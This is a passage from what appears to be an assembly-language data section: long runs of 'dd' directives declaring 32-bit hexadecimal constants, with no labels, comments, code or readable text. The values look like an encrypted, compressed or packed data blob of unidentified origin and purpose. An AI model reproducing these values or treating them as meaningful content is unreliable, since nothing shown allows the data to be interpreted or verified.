10963D73h, 4E94D320h, 7197F850h, 0A60B1F90h dd 740892F4h, 901C08B2h, 6009D24h, 975B850h, 257100C9h dd 32D541A4h, 44249C2Dh, 3B0BE7CEh, 0E725D4B0h, 120BCF55h dd 271DB722h, 4497DE4Ch, 0C62D484Eh, 1A78AC97h, 0DFF5FE2Eh dd 1A2D9152h, 335993F3h, 5A10D170h, 7EC2018Dh, 6E0DA27Fh dd 0F9E9A6C1h, 0BEAB162Eh, 0C2097307h, 0AFBF93A2h, 96450E2Ch dd 0D70DAE22h, 438979C5h, 29B21957h, 69FD9B30h, 63FE47E1h dd 0C962280Dh, 0C0E63Eh, 173B9438h, 125EF531h, 0CC3F9B68h dd 0AE49AB0Fh, 0F7566B04h, 33A7B36Fh, 2EF26Eh, 265C09BBh dd 44E01F5Eh, 373FE7F6h, 191CF4EBh, 54E6D1AAh, 5B825282h dd 3D9B1B02h, 7C406E05h, 8C070BBh, 4B4483C4h, 0E5EEAC8Fh dd 4AD5B3BBh, 2AA690B1h, 9E1058h, 0C280EA28h, 0E2059F6h dd 0F1865AD1h, 0D52CEE4Fh, 0E235E908h, 0D0EA2CF7h, 0BF2D4610h dd 40273D7Dh, 4A167FB0h, 851D4BFh, 0B1098C13h, 8FB28h dd 6DEA80C7h, 47B21DE9h, 382B6812h, 41C6E2CCh, 0D5A43A95h dd 800640A7h, 66BAC703h, 74FD8851h, 0E9EF08AAh, 531DE010h dd 11A14EBDh, 6FA21762h, 40682648h, 42CC255Ah, 0CCE00B9h dd 0E1816FF4h, 0C55C6A98h, 7E916DFh, 6037E249h, 49635EDh dd 50DA4EE4h, 3A81AE5Dh, 352124EFh, 33659900h, 29663ECEh dd 28081C68h, 11481F8h, 7850D16Ah, 0D728299Dh, 0C7FC6CB5h dd 81859E65h, 105D57ADh, 0F1E9EF29h, 0D49E6845h, 59D90016h dd 0CE8110EDh, 993217AAh, 4A5A2102h, 97373CB9h, 2FA92574h dd 5025D794h, 317FB95Dh, 0F64A5D2Ch, 0E5552DB5h, 25804D5Ah dd 0C4AD7AFDh, 8E8405B5h, 4BF3F2C8h, 10661F01h, 41C75DB2h dd 0D06F075Ch, 252180D0h, 6CE94709h, 6F00DCA7h, 953ED83Fh dd 931F2CF2h, 7EE430C9h, 12BC502Dh, 0B1636Dh, 29F7F1B0h dd 86F6C07Ch, 84D97248h, 0B5099404h, 29F96008h, 35193D3h dd 164DF5EFh, 7AC1584Ah, 5F027BA9h, 8B6FEBFEh, 745B42AAh dd 11B254EFh, 0F9C96F9Eh, 0BEB36B5Bh, 0B16AF0FCh, 0FA4F7677h dd 2D5E2781h, 0E9B4FF2Ch, 8EEB96E1h, 3FE90927h, 1685E655h dd 485C0EB8h, 0A2CAEC8h, 3846D60Ch, 0AD4301A8h, 5EF10136h dd 0A0C24256h, 0EBD2FA4Bh, 7EC955DCh, 76850E8h, 9ED051B7h dd 6C2F4251h, 53551108h, 654AA868h, 0C0525CCBh, 0AA7B7FA7h dd 9C74240h, 2F087DC3h, 0A05163D7h, 0CAB5905h, 0CA96E987h dd 0F49F5838h, 1737C3C1h, 0C6047584h, 0C01C685Dh, 6E3802A3h dd 904858h, 4C21FC0Bh, 7A610B12h, 24BA020Fh, 561E3D69h dd 6FC1C1h, 23ECBDh, 814D0E71h, 0FE43ABE5h, 0FBE97E0Bh dd 0F5A6298Eh, 7AE2A51Bh, 0C1061874h, 0B5802E5h, 5430DECh dd 65204458h, 39BF001Bh, 8140DF3Dh, 7F135BCFh, 6BF50C9h dd 0AEFD183h, 0D3A2066Eh, 532CCBAh, 1834E609h, 2DFD051Ch dd 0D65A0709h, 0EB124400h, 0CA2865E5h, 2985E9B0h, 0C3D15E81h dd 9A1A9B30h, 0DAFD4827h, 6D350B72h, 0CBD75F27h, 8E25A137h dd 6BC22C57h, 0FA15499Fh, 6182F3FDh, 8E2045B9h, 8F3E8055h dd 5A342D23h, 1235C429h, 1A4B7608h, 9E9B0802h, 0DEEAE9CFh dd 5DEF8975h, 0EB3F3387h, 74683CA7h, 52398C3Dh, 7916DDF2h dd 20BB78F6h, 1C1D0E4Fh, 0DB913AC4h, 526C20AFh, 801CF8B6h dd 0EEC101C6h, 1C8AE99Eh, 0E0D60B2Ch, 70098C28h, 485A6A99h dd 8285391Bh, 3589DE7Eh, 4583D95Eh, 55B2BF56h, 0C8ADE90Dh dd 0C6D46021h, 62AECE4Fh, 305E53B2h, 5DF276C2h, 26A83FD3h dd 506F580Ah, 65139136h, 294C67F6h, 5807E305h, 5238219h dd 1469B4E1h, 415C0AC8h, 0C10B7F89h, 804AC529h, 7E03822Dh dd 0F0282943h, 0ABA00705h, 9D9EDBBBh, 72C6EF92h, 6FE129Ah dd 0F19E0489h, 1E5AA9BCh, 0E04B5005h, 4E7EF6BDh, 7A5C2D20h dd 0CE902453h, 0ECCC2F4Ah, 0FC4812E7h, 0E6B7011Dh, 2025A56Eh dd 7912925Dh, 0BD0A0BEDh, 56ED70Dh, 90E266F0h, 0CA1E022Fh dd 18A8B148h, 0C6218AB5h, 0BA1718CAh, 0AA9EA43Fh, 0CF0F0293h dd 3532A4C7h, 7FCB44C0h, 0C30CC773h, 6BE70014h, 0E92CFB01h dd 0D0A73032h, 0E006D0DAh, 6097B420h, 90AAE6C1h, 28FA0535h dd 0C4585AF5h, 0B365C22Eh, 0F8EE147Fh, 0F5D0AA97h, 3177382h dd 0A5891CF1h, 2530DF4Fh, 0EDB79AB3h, 78D80BD3h, 2791FAA7h dd 62554793h, 33E02268h, 0BD8085D2h, 0B377077Ah, 0C2EE0902h dd 2E7796B1h, 517F2471h, 834916AAh, 0E9C55D7Ch, 0E7A89235h dd 0B459CD12h, 540771Ch, 33B505B8h, 1C932208h, 5FD0ED8Fh dd 0C540E912h, 0B5B198EFh, 18803835h, 6872A0BEh, 80A3795Fh dd 66EF8807h, 0F6F84050h, 0CA4968D0h, 4BAF5B72h, 68555C1Ch dd 985450E5h, 594B211Ah, 9AD4E985h, 71BB2B57h, 501EE995h dd 5DEA09ECh, 2E424A3Dh, 8180339Ah, 0AF3732E6h, 0B951002Ah dd 0F2664EBh, 34549168h, 0FDF25033h, 6FD37116h, 0E6353E07h dd 5D2A47A2h, 67D6C5C8h, 279E8B4Ch, 0BFB5F087h, 0F5023370h dd 5F30553Ah, 971AFC05h, 6824E42Dh, 0C3371E5Bh, 0EB796180h dd 0F15B5B78h, 0A968214h, 753EAA11h, 52C9CDE8h, 68CF321Dh dd 16A700BDh, 3BE91B44h, 129AB1D2h, 0F36F85E5h, 0CD4210ADh dd 7C8B2D03h, 0FA80E39h, 3F13BECAh, 8F21C229h, 147C5C53h dd 0AB6E98E4h, 1720F14Ah, 192B252h, 0C780C0B7h, 3ECEE9A9h dd 2D80F5F2h, 57DC0C1Eh, 0F6740E97h, 4FC19CE0h, 0A6E182EAh dd 0BC095BAFh, 81015F25h, 23BE15Ah, 0BA61604Bh, 8D1013F2h dd 0FDA91471h, 2EE0333Bh, 8245429h, 695D19B0h, 0C50181A1h dd 0F3387F95h, 1AA5FC10h, 0E0A16853h, 95C38E3Ch, 4A049457h dd 0A43DEF02h, 0C499A83Fh, 0EB14854Bh, 5941D925h, 80D67196h dd 8235D006h, 4B5D0BA1h, 0D35BBC55h, 7B7CC7CAh, 333EF7EEh dd 9A094DF0h, 39277D7h, 7C2C12FEh, 38F605BDh, 0B8CF6D54h dd 68550FDBh, 4B491DD2h, 1EC6805Dh, 0BD56916Fh, 844077C0h dd 231F698h, 372C44C2h, 0F1617FCAh, 0A9DFF295h, 0CFCE8055h dd 0F456626Dh, 1CA0581h, 0C0495B3Ah, 3C7C9C0Dh, 76894426h dd 0F4A9AA8Ch, 65971835h, 29C79A7Dh, 3F4E53E2h, 8EF10BEh dd 0E09AED4Fh, 97F30BE9h, 0D7A0DD56h, 0EB3F1E09h, 67745446h dd 0AC0595C1h, 939A1020h dd 2925513Bh, 0EFA9C42h, 113BFB9Dh, 4753242Bh, 56346917h dd 212857B8h, 0E1811DA3h, 4ACC0E4Fh, 0A761E9C3h, 0AB61FCE2h dd 76A6E8C7h, 50D9D8B7h, 0DC5908EBh, 0B14E051Eh, 0AACEC52Dh dd 0BC432F02h, 0BE00F57Eh, 733541ACh, 0FA92A79Eh, 2A523A87h dd 87F2DD84h, 7DA66816h, 1FA0AF60h, 555485Bh, 5020E073h dd 32AEF30h, 0E910845Ch, 4207DC82h, 52D58851h, 0F350EE37h dd 0A066595Ah, 0BD85ACD3h, 34B9099Ch, 0D1EEE062h, 0EEC32020h dd 6A4D2810h, 0D5EB04EFh, 0AB3E55E5h, 914F0FADh, 0B3926Dh dd 1E472205h, 0D75D682Fh, 7D8E55E3h, 5827E591h, 5FA50A71h dd 18A22B9Ch, 0A77095F7h, 257BD5DCh, 6D74536Dh, 49E95558h dd 5E27B739h, 0E44FCCF1h, 54050E34h, 403A9959h, 0F308070Fh dd 0CF7D2075h, 745F1A9Dh, 327FA72Eh, 39E05D7Ch, 0F5767029h dd 5EE5D12Dh, 82154A86h, 38E22D7Fh, 3BB8C32Eh, 27C0C406h dd 9774F05h, 2EE9409Fh, 0B15145C0h, 8B80F33Ch, 84CA888Bh dd 0B6D792F2h, 814D6259h, 70DAA6C2h, 0BC31D57Fh, 0D2D15A4Bh dd 5A6C7926h, 106FE6D4h, 0ABF7EBA4h, 0CB849FB6h, 14815D82h dd 8365495Ch, 0F1E401F1h, 8F703113h, 2D60BBAEh, 685F0656h dd 2B633BF0h, 3C9DE7D2h, 0FE8104AFh, 30575155h, 782D3247h dd 982FE641h, 5E77C0Bh, 48E9365Dh, 2045A59Dh, 861F4A5Bh dd 8F53EA89h, 0BB8F8E0h, 0BF87FABh, 36073489h, 8C565BD8h dd 0F9C901E7h, 830F0B0Dh, 0E2EADC9Bh, 92FC450h, 98E1F2F3h dd 3157407Fh, 964BC3B8h, 1EB8B703h, 0D206EB03h, 0D5C2EACDh dd 0D3E1E787h, 0EDE26A27h, 6804A154h, 0D2B20DE4h, 8A2D9458h dd 0BFB5E1E3h, 43CC7361h, 0C0FABAAh, 58C87DF9h, 7A20510h dd 2FBA9161h, 759010A9h, 0F7E7E982h, 429F4CF7h, 2EEC4B23h dd 55A7F2A7h, 1D004C6Ch, 0F75FCC7Ah, 386856D5h, 7D972013h dd 4D05835Eh, 83BD1A5Eh, 46488300h, 76CF0D60h, 96751002h dd 0F97DB668h, 256D89C1h, 60065D11h, 1812F725h, 0B0AB57BCh dd 0B55B3D87h, 41240D97h, 43F107AFh, 0A9C2E265h, 0DC5AEDC4h dd 334A18D1h, 37E3F38Ah, 0D3C29DE0h, 4EA9E883h, 3C7229AEh dd 582A4CDh, 5E985779h, 6113FBB8h, 42AFDF54h, 5B5DEA20h dd 92B6715Dh, 8032A034h, 73DDC238h, 6BEBEAEAh, 67511B67h dd 0D0C1142Ch, 15E9A0EFh, 0C2469F81h, 285E629Ah, 2D0189E2h dd 0A2ED2C44h, 0B91A9357h, 0E9868DEEh, 0F8907EA7h, 7ACE3613h dd 911C610Fh, 0C8EC8850h, 74EA58E6h, 5A018717h, 0FB7364BEh dd 80D7D531h, 137F7039h, 0F05DDF69h, 8940B894h, 0EED75AF6h dd 4B681A28h, 193AE38Fh, 0FC7E4DB7h, 3712A122h, 0BF5629CCh dd 739B268Bh, 111B947h, 0A1EC6DDFh, 689CBD5Ch, 19B04BDh dd 84C1E8AEh, 93C15266h, 61FAD022h, 59026295h, 0C5CA98C3h dd 5A5E1258h, 9DC7690h, 9D715892h, 0DB186225h, 0C6976403h dd 66BF09CFh, 0E7703EA8h, 67A36897h, 1B4695F6h, 6C93D62Eh dd 110636Ah, 84C5FC4Eh, 310DDE3Fh, 67A83F48h, 0AEDDE40Eh dd 8EFF29CBh, 463B8994h, 6B590973h, 0EE60BE39h, 92076AF2h dd 742AB920h, 35E92851h, 0C74EF73Ch, 0B0DB8538h, 1B4F68D6h dd 5F10F2ADh, 0F45A2712h, 8F7B5618h, 0E23C7497h, 0B2F38255h dd 93586FADh, 9846C5EEh, 0AF316822h, 0BD5E2107h, 0FCE63D3Eh dd 0F697E017h, 6FA25014h, 296CCF12h, 124ED4ABh, 0A32CBB0Ah dd 7AC130E9h, 6E44BA0Ah, 0D0A0825Ah, 68D04011h, 0C618C125h dd 13235BBFh, 0B507BD5Fh, 0DADB0CBEh, 0D0A05ACDh, 0DC2863CAh dd 650BAD03h, 5539D85Dh, 0FB2DF905h, 7F238244h, 71A3800Fh dd 0D592752Ch, 0E613C85Bh, 0A4296E57h, 24E5E1D8h, 1322332Eh dd 3B0EB8D1h, 0F04BAF47h, 208C2067h, 2D945548h, 0B69A8233h dd 5C61FDC9h, 0F69E2h, 2EFE17BEh, 27198DBBh, 0CCC21D6Dh dd 64614C80h, 2AF35E71h, 4096B0E3h, 1A552A39h, 0D1BD5D12h dd 0EE9CC293h, 0ECA341CCh, 0D899FD8Dh, 4BA3680Dh, 75CA8C42h dd 0BB5C7140h, 0FDC696CBh, 0FF0C6969h, 0FE01F620h, 0A24BFDE9h dd 2DE65EFh, 4E3E14F2h, 0A36EA5Dh, 5A45DF08h, 72682C90h dd 544A2F11h, 0AF014B42h, 8A96AA4Ch, 5E6D365Ch, 7E38F15Bh dd 9E5F78A7h, 77DE9F8Eh, 8FE4F56Bh, 8685909h, 8030D530h dd 0DC03BB53h, 0D13B952Eh, 0B59094EBh, 76396C85h, 14A0F02Ah dd 0D9327604h, 46022438h, 93B9E920h, 96253F7h, 8C8745B1h dd 0C87022C7h, 9FFF595Fh, 22A34BBAh, 8058AC5Ch, 0B83AE1B9h dd 6853A0A9h, 2C061286h, 8B121731h, 4192507Dh, 0D2A00EB5h dd 3C022CE6h, 0E90BF91Ch, 522A48Ch, 688B2A9Eh, 0D8B0751Ah dd 0CE2F33FCh, 6967F410h, 0F2EC60F5h, 52201263h, 7526A014h dd 35C50E06h, 5FA685B9h, 52A5C732h, 0EF6C139Ah, 5E605295h dd 2F29AA29h, 1530C8EDh, 1225BA88h, 0BBEE015Fh, 8860312Dh dd 5E504C1h, 0BD1547E9h, 16083C39h, 0F5323420h, 154FD55Bh dd 5DF464AFh, 0FC4BE186h, 0E8855A9Fh, 84A0B3EBh, 68027CF7h dd 72AA74F5h, 55EA0262h, 4FD4A06h, 80AB400Eh, 87BFB43Bh dd 0C689AE19h, 36967EAAh, 4E1CA35Dh, 0ABCC24EEh, 0A2C5729h dd 50679C10h, 0C711F43h, 6468780Bh, 41A8D279h, 66142FAEh dd 42631709h, 0AC1064B3h, 525F1F0Ah, 51CF09CCh, 38640CE6h dd 683D5566h, 5744EC31h, 9D7B9948h, 0DD203ABBh, 0B646C4Fh dd 0B702E959h, 3D095F7Ah, 0D044C63Fh, 592C188Ch, 67460C25h dd 4779D41Fh, 7DBECF47h, 71C04274h, 0E3F10797h, 0BA73853Bh dd 76287D80h, 8ACAA1E3h, 9D642C6Eh, 942FC741h, 613AC96Eh dd 87D43A71h, 73C1F2BBh, 31347EAh, 0D2044D49h, 94BD1898h dd 0A2281201h, 3FF12145h, 5FB1B6B8h, 569266Ch, 6D6F28DCh dd 9D40D72Dh, 12EA4A99h, 566FE97Ah, 0FCB1392Eh, 7783F25Bh dd 0CCBB4F90h, 815F3147h, 35F775FAh, 0B2B867h, 64A137E0h dd 2741CFBDh, 4900E42Dh, 79ABF581h, 1748CE2Eh, 0C2610507h dd 46B4FD0Fh, 7D5D0809h, 908BE7E5h, 0A51E5906h, 5D4C8BF7h dd 0C9EB5CCh, 0B6B45081h, 0CB70E388h, 3E7CB5ACh, 4A18F25Bh dd 0D2F88263h, 0CEC5557Ah, 0AB6C163Eh, 5ECE9F50h, 3B08985Fh dd 0D9003DA2h, 8150423Dh, 3812ECEEh, 0A4BB1C88h, 441F1DD7h dd 0F6C03F12h, 4BD95EACh, 9F1E9829h, 61835DE8h, 7BCB40FEh dd 0B7B19C58h, 56246C14h, 4F8C0736h, 9D3DD155h, 0AC4A2406h dd 40618A1Dh, 0B9C7AB0h, 31F91054h, 5AD017F2h, 0A2651E49h dd 55D68774h, 1A3F0982h, 5EE38B40h, 0CDF4030h, 2445C7F3h dd 1AAF6A7Bh, 195E32FEh, 5B956EDAh, 0C28990F3h, 5E2F72DFh dd 0ADACD647h, 0E7D519A9h, 0B1DD2F07h, 0D62A5976h, 6E9508C5h dd 1F681036h, 21E9160Ah, 97599AA0h, 628DB6CFh, 0C1031D75h dd 66768114h, 273C47Bh, 0BA13E907h, 2910B875h, 61D9B9C3h dd 62274BE9h, 3FC25127h, 12FA23D4h, 50B9A609h, 0AB4141B8h dd 1E02C83h, 0EC9C3B0Ah, 5EF71745h, 7622EB0Bh, 0C4CC72E9h dd 79A7E912h, 0F98B39BEh, 0C8123ECFh, 4F4FDAAAh, 0FB1AD7E3h dd 76633099h, 9EE8B54Bh, 7CAC688Fh, 3E402AEFh, 2FD61CB8h dd 862581FDh, 6428DE44h, 641DB13Ch, 6F4250D8h, 603D0821h dd 1540DCCEh, 574F4E4Ch, 41D3BEC0h, 7B517E2h, 551053FEh dd 96A70EE9h, 0DAE9EB4Ah, 2E462A74h, 0F8625FFDh, 6AE1253Ah dd 2F167078h, 27E80E0Fh, 1F907910h, 56A58853h, 58E284F2h dd 0BC54E45Bh, 2CEFF44Bh dd 0F49D5A68h, 700BC9C5h, 123FC747h, 28FB87DCh, 59B75BBCh dd 5AFE6B33h, 0FF921A2Dh, 0BD0B8117h, 41FED994h, 435158C3h dd 0FEECC59Ch, 3C893A8Bh, 5658D47Ch, 29980C68h, 434E0BC1h dd 0E46C9A97h, 0BF58ECBEh, 6C860760h, 29313A17h, 801FAF1h dd 0F33E5258h, 0C8EB9200h, 0B24B7188h, 249780A7h, 98A2AB2Dh dd 0BFACDDC4h, 0C5516B9Bh, 0A65EBE41h, 0F56DAC2Fh, 4AB199F8h dd 65BA2BDAh, 0A661BE60h, 0CE72D8E9h, 7A0EE410h, 58C0EC49h dd 930117FEh, 0D0E32806h, 0A8EF4A7Fh, 0D9ABF479h, 6603D168h dd 74F51187h, 3F24F202h, 1FC0322Bh, 5205660Dh, 0B62DE93Eh dd 0F38068ECh, 0BED09408h, 65DE012Ch, 0EA41CB18h, 1F7114AEh dd 1675D84Ch, 0E8A33AAFh, 0E95D04DEh, 20CACC84h, 0CB85C8Bh dd 0DBBA2BE9h, 0C4E7EC9Dh, 0AB1E88FCh, 4C1AFD44h, 0DA1410A3h dd 28064B02h, 0C423529h, 8372D709h, 3BA35631h, 0B95B9F52h dd 28A10712h, 0CD6762B8h, 1D091390h, 0F4D64BE9h, 682C9670h dd 0CB03B96Fh, 224A1Fh, 54B8F358h, 0AE907A9h, 0BCB5E25Fh dd 0D82F04DDh, 694477CDh, 0A8FF34Dh, 8B8BC331h, 0BB6172DCh dd 22F56930h, 9F5195F4h, 55EA44D1h, 0D6905A89h, 24D47A57h dd 1D10162h, 3B64F580h, 0E34CFAF8h, 0AD30C516h, 0FCC72FF5h dd 6417BE8Fh, 2701ED84h, 81674AD7h, 0AABF404Fh, 0E845A46Fh dd 6D6CD1F5h, 0D5FE9694h, 0D4DB8091h, 171BE7F0h, 9450DD01h dd 5C2FD7F8h, 0E9580FD4h, 0A091BA0Dh, 0E181AC87h, 0D36CE67Fh dd 85CE021h, 9FC4093Ch, 50310910h, 0CF7254B2h, 0F62D005Eh dd 52CD30Ch, 0D70615BAh, 0B194E936h, 0F74A1930h, 868104D2h dd 16DE1032h, 0C24B11h, 0D60114ACh, 785EB7E9h, 0FCA21B67h dd 695C0927h, 0C8E10612h, 27030160h, 70601B64h, 6C121FE2h dd 230060F5h, 39634FCAh, 0B564C131h, 2B8E4690h, 0C9376481h dd 96D882Ah, 0A71C6F3Dh, 2C22847Bh, 0CFC877C3h, 1C1E87A4h dd 59EA0135h, 3008E2C0h, 80829F54h, 7C181BF4h, 6C0CC102h dd 96EFC211h, 82EF5ACCh, 0E4403636h, 7F49E943h, 0E3301D92h dd 0CB47AECAh, 5880F6A7h, 578222DAh, 7C97F269h, 0A3D848A8h dd 0A8AFA45Ch, 75ADB11Fh, 1D045900h, 0BBB25203h, 0C35AD028h dd 2CF0A9ECh, 4EF472BDh, 84F1EC1Dh, 5B0990F7h, 9EF65009h dd 557F40AFh, 0BFC4B2D4h, 76190C22h, 81067810h, 0D3F57654h dd 486AB539h, 8C1C7BB2h, 8BACC2D3h, 8720341Dh, 89DC6858h dd 87860811h, 0DA53BE72h, 0CE01CA01h, 87CF1862h, 0D6905169h dd 6880CA34h, 0FA3E4997h, 0F8A9D29Ch, 0B86A9DCCh, 5685F20h dd 0F6167BEh, 9564851Ah, 498E0B43h, 34D8C91Ah, 0C2F1AFA0h dd 0EE4922DDh, 97542074h, 4B036347h, 12EAB629h, 3E13215Eh dd 0AB2A64EFh, 18E3B0F4h, 0F709FA68h, 0C1C0844Ch, 2D3C3F28h dd 61250058h, 506E86Ch, 0CE62AFAh, 2C09289Eh, 0C1721B96h dd 5835E818h, 0EC3F56E1h, 5CF41F77h, 4A215DBCh, 822970C7h dd 0E988141h, 49C6CE80h, 0FFB82C84h, 85DE6F0Bh, 1485F787h dd 0A7698353h, 0F375A332h, 21D2555Ch, 0E7B613F6h, 4F9CD62Fh dd 1AD92B62h, 863212C0h, 89C6C812h, 0B5BDB80Fh, 7EC85EBAh dd 0DAF9DF62h, 0EC446145h, 0C90BCC00h, 549B6861h, 0FA3E5807h dd 61E2D0CBh, 29AEF277h, 0A8897426h, 3CCA0F49h, 0C0C4332Bh dd 0F7798871h, 78B0E525h, 7860204Bh, 4AA3681Ch, 58B9FC2Fh dd 5238B4E9h, 26EFDE0Ch, 21A01038h, 6AE165D6h, 0A2A18DECh dd 0D887C323h, 73424793h, 4364C380h, 0FEBE977Eh, 6FE87627h dd 3B9273CDh, 4BA80484h, 5C1EE102h, 0F1D55B07h, 0A3666447h dd 32BC4B5Fh, 0E567DD00h, 968CBD3Fh, 294F971Eh, 502A98A7h dd 0D15505B8h, 8556F04Dh, 5F53F8B2h, 0C8871BECh, 0ACC234C0h dd 6EC4B1Eh, 0EBA50896h, 5FF6E225h, 68530F18h, 8A754D29h dd 0EAAAC9A5h, 602AD3D5h, 3A706892h, 22A7C59Dh, 3C84F99h dd 4081BE28h, 327423BAh, 0F57C980h, 5EE962E3h, 2359A47Ah dd 0C231674Bh, 573557B2h, 9D134ED8h, 90EC7424h, 80C4FE88h dd 8826B9EEh, 780942E3h, 9224717Bh, 0C19A0ED8h, 0A88BAFB6h dd 44CEA812h, 0AC0FD820h, 4C98C0EFh, 4BE96DCFh, 0FEDD859Ch dd 1B545990h, 25327D29h, 90F28EAFh, 562E117Bh, 73851952h dd 0D4BF01E2h, 49081F0Dh, 0E95CE4F0h, 3EEE81C0h, 54AD2D5Bh dd 8A0EA7Ch, 75A430BFh, 125F95A0h, 6A70FF88h, 7968A9Dh dd 8A7D0600h, 13992D58h, 0C1321648h, 2AAB5B5Ch, 1D2E28CAh dd 847EA578h, 6E01240Bh, 9A1C245Dh, 9964A7E8h, 4D903330h dd 280BC1EEh, 815C3F36h, 89E65908h, 0BB85BF4h, 60F2390Eh dd 0C100D0E4h, 333508E0h, 351971CCh, 0B95D1BE9h, 0DA688240h dd 0EC67D777h, 4C5EE1Bh, 2D0C756Ah, 0BCD58512h, 1BDE5B5Ch dd 0AFBCE90Bh, 936406F1h, 820EFD13h, 554CF268h, 9501504Ch dd 0E9181A1Bh, 176CB810h, 20A1BAE0h, 401C652Eh, 0CB106704h dd 4AA7C3AFh, 568A1205h, 4EEF768Ch, 94DC44D3h, 700EB019h dd 29C40B57h, 5E0810D6h, 0E9096CACh, 0A689511h, 80808874h dd 0FF22B8F1h, 4184FE30h, 51B46B41h, 63CEF8FEh, 5DBF14A6h dd 0E8A045B1h, 639BB640h, 8D37D90Ah, 0B84F2150h, 795D20C4h dd 0CA0D2BAh, 0D43F36B5h, 67CD9331h, 0E285A1F2h, 0C055AC8Dh dd 137EEC3h, 0F3EC6Ah, 3D095B93h, 3012B951h, 0A41F9824h dd 4464D02h, 8648FD38h, 731862E1h, 441E2A40h, 0E7E22721h dd 4ABEEF76h, 0F70170BDh, 716895DDh, 0DE81960Fh, 0DDD92E52h dd 120E8A6Fh, 9529A157h, 668BD7Ah, 40478F58h, 1D9F01A8h dd 66E9288Eh, 0E38852B7h, 0C432C341h, 5714248h, 207B4013h dd 9605CFADh, 0C023F258h, 0BECED50Dh, 5961E926h, 0D3F84D97h dd 21FBFD2h, 7E6F3DCBh, 0F97C7063h, 0BF5469AEh, 0E75F8C11h dd 0BE93A4F7h, 174D132Ah, 90B89117h, 0D92608B9h, 78AC7F4Bh dd 4619677h, 0B0F5E955h, 0DBBF5B5Ch, 0A2DD2D2Fh, 17035DAh dd 0CE15B72Dh, 0BB02135Ch, 0C05D6179h, 0A9B470A7h, 7A30EF80h dd 80DE417Bh, 6B783226h, 9E38170h, 371E1545h, 72F387Ah dd 88C9D92Eh, 68AA3C0Ah, 487A3631h, 0D589335Ah, 791A5945h dd 335E3241h, 40B7880h, 827A050Ch, 7B1D1312h, 57B700EFh dd 525E701Ch, 0BE53FCC4h, 0BDD021BBh, 46DF6B19h, 0C56CE24Ah dd 4A4D1E51h, 0B5F07166h, 4C96BAC2h, 184C4E3h, 9CC147DCh dd 0DA440D73h, 56526925h, 0CD1EC82Eh, 0DBA8FE9Dh, 0A0878E4Bh dd 2B022D41h, 391D6320h, 581A85Ch, 0FCB11A8Dh, 97F47B09h dd 2F111254h, 253AF82Bh, 8063C0E1h, 287826F6h, 6FC5084Dh dd 0E255DC2Dh, 717F7EE5h, 0C513A42Ch, 29B44D28h, 0B7402B6Ah dd 0E64E03C3h, 0F1EBF864h, 0C088CCAh, 31720420h, 0D179E906h dd 6D3968DCh, 4E6310B7h, 0F1054800h, 89ADE10Bh, 1718DBBFh dd 0C7F18229h, 5135E07Dh, 117D95DAh, 0ED6CBB7Ch, 0A044348h dd 0B30EF068h, 67FE174Fh, 0B1AE48Ah, 0E05FCD28h, 9EBF2B55h dd 0D47C28Fh, 257AC55Dh, 5D1222C6h, 34AB6968h, 0CACD03A3h dd 6410F361h, 0BD4B3ED8h, 5001D212h, 4F2B4CCDh, 0C6CF6070h dd 0B3F752C0h, 6886E22Dh, 25C670FBh, 3254880Fh, 0E913BA20h dd 7E982B0h, 5185BF10h, 3146EDFEh, 3C48ED80h, 66194B80h dd 0C87E6E10h, 0F309EF72h, 0B4E544Dh, 0E7420379h, 8CF3E703h dd 55F4CA34h, 9DCEDFA2h, 167B1BDFh, 0E3FD57A1h, 611168Eh dd 58C96FBDh, 6BDC1882h dd 54E46954h, 82F5BDA8h, 4C4A5369h, 7EF27750h, 286AC460h dd 385066C6h, 0C6790B0h, 0FCDE1B58h, 2AAE0052h, 0A039FF60h dd 2F6912D8h, 0D1541CD0h, 0AE9A228Ah, 32FF54Bh, 0CD543AA4h dd 0D3D86FC0h, 7BE29DC5h, 0EEDF8209h, 12534A3Fh, 8DE3BFB0h dd 801D7C7h, 3BC80FF8h, 6AEB41E9h, 54A7D6F3h, 5DC740FCh dd 58010815h, 42B2BF57h, 0C5614133h, 0BA067328h, 0EE51290Eh dd 3B48C92Fh, 6F21D93Bh, 74B264ADh, 9D313C8h, 0FD287E28h dd 995892Eh, 0C8BF0F60h, 51443168h, 3FAA3B49h, 86C644CCh dd 7DF6813Eh, 252C3E3Ah, 0FC477DF0h, 7FED3589h, 0AF64A112h dd 97C6F8h, 5933BBE7h, 0FF9532h, 35047716h, 0B4024EE9h dd 0A8EE5754h, 132D8B4Dh, 0A8C55BBh, 64725EFAh, 68D12C6Fh dd 91220532h, 6654C953h, 0C52C48Eh, 585D4EA9h, 1AA16DA9h dd 8C5AEDF2h, 147B4625h, 0BC5E5AF0h, 7302CF22h, 928B5D16h dd 0ADF1312Eh, 200C9CF5h, 68056C71h, 17C5720Ch, 0A27F38E5h dd 61EA92D5h, 3F5FFDFBh, 0B800269Eh, 5EEF4D95h, 0A190C609h dd 5DC4E925h, 0AA442FE2h, 0D39D96F0h, 59C18401h, 0C38BC472h dd 0DEA8E846h, 0DB5EE96Eh, 795B7683h, 0F0834DFFh, 282DE44Eh dd 0B04FA592h, 0E6D0C607h, 0D56C0F72h, 2497B491h, 0F107814Ch dd 0E334007h, 494EE160h, 0A8064EF5h, 0BFC80990h, 95277FCAh dd 0BD0EA2FDh, 0BDD1E469h, 0F9500FA4h, 4F39A67Fh, 0E53AEDBBh dd 6E2281DFh, 5E65EB74h, 0E9A0A568h, 0FF95A23Fh, 5457A91Ah dd 0B086436Dh, 60585425h, 3EB7F106h, 0A49C8044h, 32542F39h dd 7C890952h, 3A06D8BDh, 55F3A7C0h, 17EA41F9h, 0A15BDE31h dd 149209Bh, 82D9E927h, 5DD4881Fh, 40B73B98h, 5C4373B6h dd 4F191831h, 21BA306Bh, 7FC53C0Ch, 0AA34464Ah, 0DF0B42F5h dd 0BC05D7A9h, 0BB8CFECAh, 2E432568h, 0C562E9D4h, 0FD868B55h dd 59AA2617h, 0DA715E97h, 0F1E2D45Dh, 974E2051h, 55F692B7h dd 0E9D04D7Ch, 2486B269h, 8A4C83Bh, 2D026ACDh, 7524F26Eh dd 5E731FC0h, 294D160Fh, 8A81CC3h, 0DE91E917h, 6EF4DA24h dd 47C9975Ah, 3368DEA3h, 7F3D5334h, 0A8497C76h, 77F025D5h dd 5CB00998h, 546C4327h, 0E7810065h, 64496817h, 600B5074h dd 80301951h, 2671C7D8h, 0EE5F4AC6h, 81FD884h, 5D0178EFh dd 0FC9C45Bh, 535D2E60h, 11B4BB4Eh, 0B2DE5F29h, 9F4D026h dd 5030373Ch, 3B44B92h, 80C1FE88h, 0B4AB8795h, 5AA492F3h dd 